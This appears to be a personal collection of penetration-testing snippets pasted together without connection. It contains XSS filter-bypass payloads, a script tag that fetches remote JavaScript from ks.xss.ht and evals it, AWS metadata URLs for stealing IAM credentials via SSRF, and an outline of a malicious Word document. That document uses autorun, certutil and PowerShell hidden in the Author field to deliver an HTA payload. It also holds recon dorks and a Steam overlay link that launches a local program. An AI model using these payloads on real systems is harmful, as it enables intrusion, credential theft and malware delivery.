nani1337

Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process

The below paper documents the process of creating a multi-stage IPS/AV transparent malicious document for purposes of Red Teaming / Penetration-Testing assignments.

The resulted document will be:

• using OLE event autorun method
• removing it's pretext shapes
• Obtaining commands to be executed from document's Author property and passing them to StdIn of Powershell.exe process
• Leveraging certutil technique to receive Base64 encoded malicious HTA document
• Having Base64 encoded Powershell command in that Author property

nani1337

java%0d%0ascript%0d%0a:alert(0)
(crlf injection to bypass javascript: being blacklisted) 

<svg%0donload=prompt(1)>
(incase svg onload= is filtered, the %0d acts as a seperator and can sometimes confuse wafs.) %0a %0c %09 %00 are also common payloads to use here.

<input onfocus=alert(0) autofocus>
If a dev has hard-coded a blacklist to "protect" from XSS, input is sometimes forgotten about!

\\"-alert(0);//

nani1337

## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

nani1337

site: site.com inurl:&
Useful for finding endpoints with parameters.
site: site.com inurl:login,register,upload,logout,redirect,redir,goto,admin etc..
For finding interesting endpoints
site: site.com ext:php,asp,aspx,jsp,jspa,txt,swf

nani1337

To install Docker in Kali, these were the steps I followed:

    Create a backports file and add the entry for Debian Wheezy:

    echo 'deb http://http.debian.net/debian wheezy-backports main' > /etc/apt/sources.list.d/backports.list && apt-get update

    Install ca-certificates and allow APT to operate via https:

    apt-get install apt-transport-https ca-certificates

nani1337

/root/Downloads/arachni-1.5.1-0.5.12/bin/arachni http://testfire.net/ --checks=xss*  --output-verbose --report-save-path=/tmp/test.com.afr

jenkins
/root/Downloads/arachni-1.5.1-0.5.12/bin/arachni_reporter /tmp/test.com.afr --reporter=html:outfile=/tmp/my_report.html.zip

nani1337

<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//ks.xss.ht");a.send();</script>

nani1337

 Step#1 (clean cache)
>sourceanalyzer -b xvwa -clean

Step#2 (translate source code to byte code)
>sourceanalyzer -Xmx2500M -Xms2500M -64  -verbose -b xvwa -cp **/*.jar **/*.php

Step#3 (scan with rulepack, custom rules, filters, etc)
>>sourceanalyzer -b xvwa -scan -f wvwa.fpr

nani1337

#
#
from PIL import Image
import pytesseract
image = Image.open('2.jpg')
orange = pytesseract.image_to_string(image)
print orange


#Record the preparation process is very troublesome.

nani1337

<a href="calculator:">calculator:</a> (regular link)
<br /><br />
<input type="button" onclick="location.href = 'calculator:'" value="location.href = 'calculator:'" /> (button using location.href)
<br /><br />
<input type="button" onclick="setTimeout('location.href = \'calculator:\'')" value="setTimeout('location.href = \'calculator:\'')" /> (setTimeout/location.href, requires confirmation)
sm_testkick <a onmouseover="javascript:SteamOverlayAPI.OpenExternalBrowserURL('file://C:/Windows/System32/calc.exe')">The remote host stopped receiving communications and closed the connection</a>